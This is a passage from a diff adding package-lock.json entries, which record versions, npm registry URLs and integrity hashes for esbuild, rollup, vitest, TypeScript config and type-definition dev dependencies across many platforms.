"integrity": "sha512-HQ9ka4Kx21qHXwtlTUVbKJOAnmG1ipXhdWTmNXiPzPfWKpXqASVcWdnf2bnL73wgjNrFXAa3yYvBSd9pzfEIpA==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/freebsd-arm64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/freebsd-arm64/-/freebsd-arm64-0.25.12.tgz", + "integrity": "sha512-gA0Bx759+7Jve03K1S0vkOu5Lg/85dou3EseOGUes8flVOGxbhDDh/iZaoek11Y8mtyKPGF3vP8XhnkDEAmzeg==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/freebsd-x64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/freebsd-x64/-/freebsd-x64-0.25.12.tgz", + "integrity": "sha512-TGbO26Yw2xsHzxtbVFGEXBFH0FRAP7gtcPE7P5yP7wGy7cXK2oO7RyOhL5NLiqTlBh47XhmIUXuGciXEqYFfBQ==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-arm": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-arm/-/linux-arm-0.25.12.tgz", + "integrity": "sha512-lPDGyC1JPDou8kGcywY0YILzWlhhnRjdof3UlcoqYmS9El818LLfJJc3PXXgZHrHCAKs/Z2SeZtDJr5MrkxtOw==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-arm64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-arm64/-/linux-arm64-0.25.12.tgz", + "integrity": "sha512-8bwX7a8FghIgrupcxb4aUmYDLp8pX06rGh5HqDT7bB+8Rdells6mHvrFHHW2JAOPZUbnjUpKTLg6ECyzvas2AQ==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-ia32": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-ia32/-/linux-ia32-0.25.12.tgz", + "integrity": "sha512-0y9KrdVnbMM2/vG8KfU0byhUN+EFCny9+8g202gYqSSVMonbsCfLjUO+rCci7pM0WBEtz+oK/PIwHkzxkyharA==", + "cpu": [ + "ia32" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-loong64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-loong64/-/linux-loong64-0.25.12.tgz", + "integrity": "sha512-h///Lr5a9rib/v1GGqXVGzjL4TMvVTv+s1DPoxQdz7l/AYv6LDSxdIwzxkrPW438oUXiDtwM10o9PmwS/6Z0Ng==", + "cpu": [ + "loong64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-mips64el": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-mips64el/-/linux-mips64el-0.25.12.tgz", + "integrity": "sha512-iyRrM1Pzy9GFMDLsXn1iHUm18nhKnNMWscjmp4+hpafcZjrr2WbT//d20xaGljXDBYHqRcl8HnxbX6uaA/eGVw==", + "cpu": [ + "mips64el" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-ppc64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-ppc64/-/linux-ppc64-0.25.12.tgz", + "integrity": "sha512-9meM/lRXxMi5PSUqEXRCtVjEZBGwB7P/D4yT8UG/mwIdze2aV4Vo6U5gD3+RsoHXKkHCfSxZKzmDssVlRj1QQA==", + "cpu": [ + "ppc64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-riscv64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-riscv64/-/linux-riscv64-0.25.12.tgz", + "integrity": "sha512-Zr7KR4hgKUpWAwb1f3o5ygT04MzqVrGEGXGLnj15YQDJErYu/BGg+wmFlIDOdJp0PmB0lLvxFIOXZgFRrdjR0w==", + "cpu": [ + "riscv64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-s390x": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-s390x/-/linux-s390x-0.25.12.tgz", + "integrity": "sha512-MsKncOcgTNvdtiISc/jZs/Zf8d0cl/t3gYWX8J9ubBnVOwlk65UIEEvgBORTiljloIWnBzLs4qhzPkJcitIzIg==", + "cpu": [ + "s390x" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-x64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-x64/-/linux-x64-0.25.12.tgz", + "integrity": "sha512-uqZMTLr/zR/ed4jIGnwSLkaHmPjOjJvnm6TVVitAa08SLS9Z0VM8wIRx7gWbJB5/J54YuIMInDquWyYvQLZkgw==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/netbsd-arm64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/netbsd-arm64/-/netbsd-arm64-0.25.12.tgz", + "integrity": "sha512-xXwcTq4GhRM7J9A8Gv5boanHhRa/Q9KLVmcyXHCTaM4wKfIpWkdXiMog/KsnxzJ0A1+nD+zoecuzqPmCRyBGjg==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "netbsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/netbsd-x64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/netbsd-x64/-/netbsd-x64-0.25.12.tgz", + "integrity": "sha512-Ld5pTlzPy3YwGec4OuHh1aCVCRvOXdH8DgRjfDy/oumVovmuSzWfnSJg+VtakB9Cm0gxNO9BzWkj6mtO1FMXkQ==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "netbsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/openbsd-arm64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/openbsd-arm64/-/openbsd-arm64-0.25.12.tgz", + "integrity": "sha512-fF96T6KsBo/pkQI950FARU9apGNTSlZGsv1jZBAlcLL1MLjLNIWPBkj5NlSz8aAzYKg+eNqknrUJ24QBybeR5A==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "openbsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/openbsd-x64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/openbsd-x64/-/openbsd-x64-0.25.12.tgz", + "integrity": "sha512-MZyXUkZHjQxUvzK7rN8DJ3SRmrVrke8ZyRusHlP+kuwqTcfWLyqMOE3sScPPyeIXN/mDJIfGXvcMqCgYKekoQw==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "openbsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/openharmony-arm64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/openharmony-arm64/-/openharmony-arm64-0.25.12.tgz", + "integrity": "sha512-rm0YWsqUSRrjncSXGA7Zv78Nbnw4XL6/dzr20cyrQf7ZmRcsovpcRBdhD43Nuk3y7XIoW2OxMVvwuRvk9XdASg==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "openharmony" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/sunos-x64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/sunos-x64/-/sunos-x64-0.25.12.tgz", + "integrity": "sha512-3wGSCDyuTHQUzt0nV7bocDy72r2lI33QL3gkDNGkod22EsYl04sMf0qLb8luNKTOmgF/eDEDP5BFNwoBKH441w==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "sunos" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/win32-arm64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/win32-arm64/-/win32-arm64-0.25.12.tgz", + "integrity": "sha512-rMmLrur64A7+DKlnSuwqUdRKyd3UE7oPJZmnljqEptesKM8wx9J8gx5u0+9Pq0fQQW8vqeKebwNXdfOyP+8Bsg==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/win32-ia32": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/win32-ia32/-/win32-ia32-0.25.12.tgz", + "integrity": "sha512-HkqnmmBoCbCwxUKKNPBixiWDGCpQGVsrQfJoVGYLPT41XWF8lHuE5N6WhVia2n4o5QK5M4tYr21827fNhi4byQ==", + "cpu": [ + "ia32" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/win32-x64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/win32-x64/-/win32-x64-0.25.12.tgz", + "integrity": "sha512-alJC0uCZpTFrSL0CCDjcgleBXPnCrEAhTBILpeAp7M/OFgoqtAetfBzX0xM00MUsVVPpVjlPuMbREqnZCXaTnA==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@jridgewell/resolve-uri": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.2.tgz", + "integrity": "sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@jridgewell/sourcemap-codec": { + "version": "1.5.5", + "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.5.tgz", + "integrity": "sha512-cYQ9310grqxueWbl+WuIUIaiUaDcj7WOq5fVhEljNVgRfOUhY9fy2zTvfoqWsnebh8Sl70VScFbICvJnLKB0Og==", + "dev": true, + "license": "MIT" + }, + "node_modules/@jridgewell/trace-mapping": { + "version": "0.3.9", + "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.9.tgz", + "integrity": "sha512-3Belt6tdc8bPgAtbcmdtNJlirVoTmEb5e2gC94PnkwEW9jI6CAHUeoG85tjWP5WquqfavoMtMwiG4P926ZKKuQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jridgewell/resolve-uri": "^3.0.3", + "@jridgewell/sourcemap-codec": "^1.4.10" + } + }, + "node_modules/@rollup/rollup-android-arm-eabi": { + "version": "4.53.3", + "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm-eabi/-/rollup-android-arm-eabi-4.53.3.tgz", + "integrity": "sha512-mRSi+4cBjrRLoaal2PnqH82Wqyb+d3HsPUN/W+WslCXsZsyHa9ZeQQX/pQsZaVIWDkPcpV6jJ+3KLbTbgnwv8w==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ] + }, + "node_modules/@rollup/rollup-android-arm64": { + "version": "4.53.3", + "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm64/-/rollup-android-arm64-4.53.3.tgz", + "integrity": "sha512-CbDGaMpdE9sh7sCmTrTUyllhrg65t6SwhjlMJsLr+J8YjFuPmCEjbBSx4Z/e4SmDyH3aB5hGaJUP2ltV/vcs4w==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ] + }, + "node_modules/@rollup/rollup-darwin-arm64": { + "version": "4.53.3", + "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-arm64/-/rollup-darwin-arm64-4.53.3.tgz", + "integrity": "sha512-Nr7SlQeqIBpOV6BHHGZgYBuSdanCXuw09hon14MGOLGmXAFYjx1wNvquVPmpZnl0tLjg25dEdr4IQ6GgyToCUA==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ] + }, + "node_modules/@rollup/rollup-darwin-x64": { + "version": "4.53.3", + "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-x64/-/rollup-darwin-x64-4.53.3.tgz", + "integrity": "sha512-DZ8N4CSNfl965CmPktJ8oBnfYr3F8dTTNBQkRlffnUarJ2ohudQD17sZBa097J8xhQ26AwhHJ5mvUyQW8ddTsQ==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ] + }, + "node_modules/@rollup/rollup-freebsd-arm64": { + "version": "4.53.3", + "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-arm64/-/rollup-freebsd-arm64-4.53.3.tgz", + "integrity": "sha512-yMTrCrK92aGyi7GuDNtGn2sNW+Gdb4vErx4t3Gv/Tr+1zRb8ax4z8GWVRfr3Jw8zJWvpGHNpss3vVlbF58DZ4w==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ] + }, + "node_modules/@rollup/rollup-freebsd-x64": { + "version": "4.53.3", + "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-x64/-/rollup-freebsd-x64-4.53.3.tgz", + "integrity": "sha512-lMfF8X7QhdQzseM6XaX0vbno2m3hlyZFhwcndRMw8fbAGUGL3WFMBdK0hbUBIUYcEcMhVLr1SIamDeuLBnXS+Q==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ] + }, + "node_modules/@rollup/rollup-linux-arm-gnueabihf": { + "version": "4.53.3", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-gnueabihf/-/rollup-linux-arm-gnueabihf-4.53.3.tgz", + "integrity": "sha512-k9oD15soC/Ln6d2Wv/JOFPzZXIAIFLp6B+i14KhxAfnq76ajt0EhYc5YPeX6W1xJkAdItcVT+JhKl1QZh44/qw==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-arm-musleabihf": { + "version": "4.53.3", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-musleabihf/-/rollup-linux-arm-musleabihf-4.53.3.tgz", + "integrity": "sha512-vTNlKq+N6CK/8UktsrFuc+/7NlEYVxgaEgRXVUVK258Z5ymho29skzW1sutgYjqNnquGwVUObAaxae8rZ6YMhg==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-arm64-gnu": { + "version": "4.53.3", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-gnu/-/rollup-linux-arm64-gnu-4.53.3.tgz", + "integrity": "sha512-RGrFLWgMhSxRs/EWJMIFM1O5Mzuz3Xy3/mnxJp/5cVhZ2XoCAxJnmNsEyeMJtpK+wu0FJFWz+QF4mjCA7AUQ3w==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-arm64-musl": { + "version": "4.53.3", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-musl/-/rollup-linux-arm64-musl-4.53.3.tgz", + "integrity": "sha512-kASyvfBEWYPEwe0Qv4nfu6pNkITLTb32p4yTgzFCocHnJLAHs+9LjUu9ONIhvfT/5lv4YS5muBHyuV84epBo/A==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-loong64-gnu": { + "version": "4.53.3", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-gnu/-/rollup-linux-loong64-gnu-4.53.3.tgz", + "integrity": "sha512-JiuKcp2teLJwQ7vkJ95EwESWkNRFJD7TQgYmCnrPtlu50b4XvT5MOmurWNrCj3IFdyjBQ5p9vnrX4JM6I8OE7g==", + "cpu": [ + "loong64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-ppc64-gnu": { + "version": "4.53.3", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-gnu/-/rollup-linux-ppc64-gnu-4.53.3.tgz", + "integrity": "sha512-EoGSa8nd6d3T7zLuqdojxC20oBfNT8nexBbB/rkxgKj5T5vhpAQKKnD+h3UkoMuTyXkP5jTjK/ccNRmQrPNDuw==", + "cpu": [ + "ppc64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-riscv64-gnu": { + "version": "4.53.3", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-gnu/-/rollup-linux-riscv64-gnu-4.53.3.tgz", + "integrity": "sha512-4s+Wped2IHXHPnAEbIB0YWBv7SDohqxobiiPA1FIWZpX+w9o2i4LezzH/NkFUl8LRci/8udci6cLq+jJQlh+0g==", + "cpu": [ + "riscv64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-riscv64-musl": { + "version": "4.53.3", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-musl/-/rollup-linux-riscv64-musl-4.53.3.tgz", + "integrity": "sha512-68k2g7+0vs2u9CxDt5ktXTngsxOQkSEV/xBbwlqYcUrAVh6P9EgMZvFsnHy4SEiUl46Xf0IObWVbMvPrr2gw8A==", + "cpu": [ + "riscv64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-s390x-gnu": { + "version": "4.53.3", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-s390x-gnu/-/rollup-linux-s390x-gnu-4.53.3.tgz", + "integrity": "sha512-VYsFMpULAz87ZW6BVYw3I6sWesGpsP9OPcyKe8ofdg9LHxSbRMd7zrVrr5xi/3kMZtpWL/wC+UIJWJYVX5uTKg==", + "cpu": [ + "s390x" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-x64-gnu": { + "version": "4.53.3", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.53.3.tgz", + "integrity": "sha512-3EhFi1FU6YL8HTUJZ51imGJWEX//ajQPfqWLI3BQq4TlvHy4X0MOr5q3D2Zof/ka0d5FNdPwZXm3Yyib/UEd+w==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-x64-musl": { + "version": "4.53.3", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-musl/-/rollup-linux-x64-musl-4.53.3.tgz", + "integrity": "sha512-eoROhjcc6HbZCJr+tvVT8X4fW3/5g/WkGvvmwz/88sDtSJzO7r/blvoBDgISDiCjDRZmHpwud7h+6Q9JxFwq1Q==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-openharmony-arm64": { + "version": "4.53.3", + "resolved": "https://registry.npmjs.org/@rollup/rollup-openharmony-arm64/-/rollup-openharmony-arm64-4.53.3.tgz", + "integrity": "sha512-OueLAWgrNSPGAdUdIjSWXw+u/02BRTcnfw9PN41D2vq/JSEPnJnVuBgw18VkN8wcd4fjUs+jFHVM4t9+kBSNLw==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "openharmony" + ] + }, + "node_modules/@rollup/rollup-win32-arm64-msvc": { + "version": "4.53.3", + "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-arm64-msvc/-/rollup-win32-arm64-msvc-4.53.3.tgz", + "integrity": "sha512-GOFuKpsxR/whszbF/bzydebLiXIHSgsEUp6M0JI8dWvi+fFa1TD6YQa4aSZHtpmh2/uAlj/Dy+nmby3TJ3pkTw==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ] + }, + "node_modules/@rollup/rollup-win32-ia32-msvc": { + "version": "4.53.3", + "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-ia32-msvc/-/rollup-win32-ia32-msvc-4.53.3.tgz", + "integrity": "sha512-iah+THLcBJdpfZ1TstDFbKNznlzoxa8fmnFYK4V67HvmuNYkVdAywJSoteUszvBQ9/HqN2+9AZghbajMsFT+oA==", + "cpu": [ + "ia32" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ] + }, + "node_modules/@rollup/rollup-win32-x64-gnu": { + "version": "4.53.3", + "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-gnu/-/rollup-win32-x64-gnu-4.53.3.tgz", + "integrity": "sha512-J9QDiOIZlZLdcot5NXEepDkstocktoVjkaKUtqzgzpt2yWjGlbYiKyp05rWwk4nypbYUNoFAztEgixoLaSETkg==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ] + }, + "node_modules/@rollup/rollup-win32-x64-msvc": { + "version": "4.53.3", + "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-msvc/-/rollup-win32-x64-msvc-4.53.3.tgz", + "integrity": "sha512-UhTd8u31dXadv0MopwGgNOBpUVROFKWVQgAg5N1ESyCz8AuBcMqm4AuTjrwgQKGDfoFuz02EuMRHQIw/frmYKQ==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ] + }, + "node_modules/@standard-schema/spec": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/@standard-schema/spec/-/spec-1.0.0.tgz", + "integrity": "sha512-m2bOd0f2RT9k8QJx1JN85cZYyH1RqFBdlwtkSlf4tBDYLCiiZnv1fIIwacK6cqwXavOydf0NPToMQgpKq+dVlA==", + "dev": true, + "license": "MIT" + }, + "node_modules/@tsconfig/node10": { + "version": "1.0.11", + "resolved": "https://registry.npmjs.org/@tsconfig/node10/-/node10-1.0.11.tgz", + "integrity": "sha512-DcRjDCujK/kCk/cUe8Xz8ZSpm8mS3mNNpta+jGCA6USEDfktlNvm1+IuZ9eTcDbNk41BHwpHHeW+N1lKCz4zOw==", + "dev": true, + "license": "MIT" + }, + "node_modules/@tsconfig/node12": { + "version": "1.0.11", + "resolved": "https://registry.npmjs.org/@tsconfig/node12/-/node12-1.0.11.tgz", + "integrity": "sha512-cqefuRsh12pWyGsIoBKJA9luFu3mRxCA+ORZvA4ktLSzIuCUtWVxGIuXigEwO5/ywWFMZ2QEGKWvkZG1zDMTag==", + "dev": true, + "license": "MIT" + }, + "node_modules/@tsconfig/node14": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/@tsconfig/node14/-/node14-1.0.3.tgz", + "integrity": "sha512-ysT8mhdixWK6Hw3i1V2AeRqZ5WfXg1G43mqoYlM2nc6388Fq5jcXyr5mRsqViLx/GJYdoL0bfXD8nmF+Zn/Iow==", + "dev": true, + "license": "MIT" + }, + "node_modules/@tsconfig/node16": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/@tsconfig/node16/-/node16-1.0.4.tgz", + "integrity": "sha512-vxhUy4J8lyeyinH7Azl1pdd43GJhZH/tP2weN8TntQblOY+A0XbT8DJk1/oCPuOOyg/Ja757rG0CgHcWC8OfMA==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/chai": { + "version": "5.2.3", + "resolved": "https://registry.npmjs.org/@types/chai/-/chai-5.2.3.tgz", + "integrity": "sha512-Mw558oeA9fFbv65/y4mHtXDs9bPnFMZAL/jxdPFUpOHHIXX91mcgEHbS5Lahr+pwZFR8A7GQleRWeI6cGFC2UA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/deep-eql": "*", + "assertion-error": "^2.0.1" + } + }, + "node_modules/@types/deep-eql": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/@types/deep-eql/-/deep-eql-4.0.2.tgz", + "integrity": "sha512-c9h9dVVMigMPc4bwTvC5dxqtqJZwQPePsWjPlpSOnojbor6pGqdk541lfA7AqFQr5pB1BRdq0juY9db81BwyFw==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/estree": { + "version": "1.0.8", + "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.8.tgz", + "integrity": "sha512-dWHzHa2WqEXI/O1E9OjrocMTKJl2mSrEolh1Iomrv6U+JuNwaHXsXx9bLu5gG7BUWFIN0skIQJQ/L1rIex4X6w==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/node": { + "version": "24.7.0", + "resolved": "https://registry.npmjs.org/@types/node/-/node-24.7.0.tgz", + "integrity": "sha512-IbKooQVqUBrlzWTi79E8Fw78l8k1RNtlDDNWsFZs7XonuQSJ8oNYfEeclhprUldXISRMLzBpILuKgPlIxm+/Yw==", + "dev": true, + "license": "MIT", + "peer": true, + "dependencies": { + "undici-types": "~7.14.0" + } + }, + "node_modules/@vitest/expect": { + "version": "4.0.13", + "resolved": "https://registry.npmjs.org/@vitest/expect/-/expect-4.0.13.tgz", + "integrity": "sha512-zYtcnNIBm6yS7Gpr7nFTmq8ncowlMdOJkWLqYvhr/zweY6tFbDkDi8BPPOeHxEtK1rSI69H7Fd4+1sqvEGli6w==", + "dev": true, + "license": "MIT", + "dependencies": { + "@standard-schema/spec": "^1.0.0", + "@types/chai": "^5.2.2", + "@vitest/spy": "4.0.13", + "@vitest/utils": "4.0.13", + "chai": "^6.2.1", + "tinyrainbow": "^3.0.3" + }, + "funding": { + "url": "https://opencollective.com/vitest" + } + }, + "node_modules/@vitest/mocker": { + "version": "4.0.13", + "resolved": "https://registry.npmjs.org/@vitest/mocker/-/mocker-4.0.13.tgz", + "integrity": "sha512-eNCwzrI5djoauklwP1fuslHBjrbR8rqIVbvNlAnkq1OTa6XT+lX68mrtPirNM9TnR69XUPt4puBCx2Wexseylg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@vitest/spy": "4.0.13", + "estree-walker": "^3.0.3", + "magic-string": "^0.30.21" + }, + "funding": { + "url": "https://opencollective.com/vitest" + }, + "peerDependencies": { + "msw": "^2.4.9", + "vite": "^6.0.0 || ^7.0.0-0" + }, + "peerDependenciesMeta": { + "msw": { + "optional": true + }, + "vite": { + "optional": true + } + } + }, + "node_modules/@vitest/pretty-format": { + "version": "4.0.13", + "resolved": "https://registry.npmjs.org/@vitest/pretty-format/-/pretty-format-4.0.13.tgz", + "integrity": "sha512-ooqfze8URWbI2ozOeLDMh8YZxWDpGXoeY3VOgcDnsUxN0jPyPWSUvjPQWqDGCBks+opWlN1E4oP1UYl3C/2EQA==", + "dev": true, + "license": "MIT", + "dependencies": { + "tinyrainbow": "^3.0.3" + }, + "funding": { + "url": "https://opencollective.com/vitest" + } + }, + "node_modules/@vitest/runner": { + "version": "4.0.13", + "resolved": "https://registry.npmjs.org/@vitest/runner/-/runner-4.0.13.tgz", + "integrity": "sha512-9IKlAru58wcVaWy7hz6qWPb2QzJTKt+IOVKjAx5vb5rzEFPTL6H4/R9BMvjZ2ppkxKgTrFONEJFtzvnyEpiT+A==", + "dev": true, + "license": "MIT", + "dependencies": { + "@vitest/utils": "4.0.13", + "pathe": "^2.0.3" + }, + "funding": { + "url": "https://opencollective.com/vitest" + } + }, + "node_modules/@vitest/snapshot": { + "version": "4.0.13", + "resolved": "https://registry.npmjs.org/@vitest/snapshot/-/snapshot-4.0.13.tgz", + "integrity": "sha512-hb7Usvyika1huG6G6l191qu1urNPsq1iFc2hmdzQY3F5/rTgqQnwwplyf8zoYHkpt7H6rw5UfIw6i/3qf9oSxQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@vitest/pretty-format": "4.0.13", + "magic-string": "^0.30.21", + "pathe": "^2.0.3" + }, + "funding": { + "url": "https://opencollective.com/vitest" + } + }, + "node_modules/@vitest/spy": { + "version": "4.0.13", + "resolved": "https://registry.npmjs.org/@vitest/spy/-/spy-4.0.13.tgz", + "integrity": "sha512-hSu+m4se0lDV5yVIcNWqjuncrmBgwaXa2utFLIrBkQCQkt+pSwyZTPFQAZiiF/63j8jYa8uAeUZ3RSfcdWaYWw==", + "dev": true, + "license": "MIT", + "funding": { + "url": "https://opencollective.com/vitest" + } + }, + "node_modules/@vitest/utils": { + "version": "4.0.13", + "resolved": "https://registry.npmjs.org/@vitest/utils/-/utils-4.0.13.tgz", + "integrity": 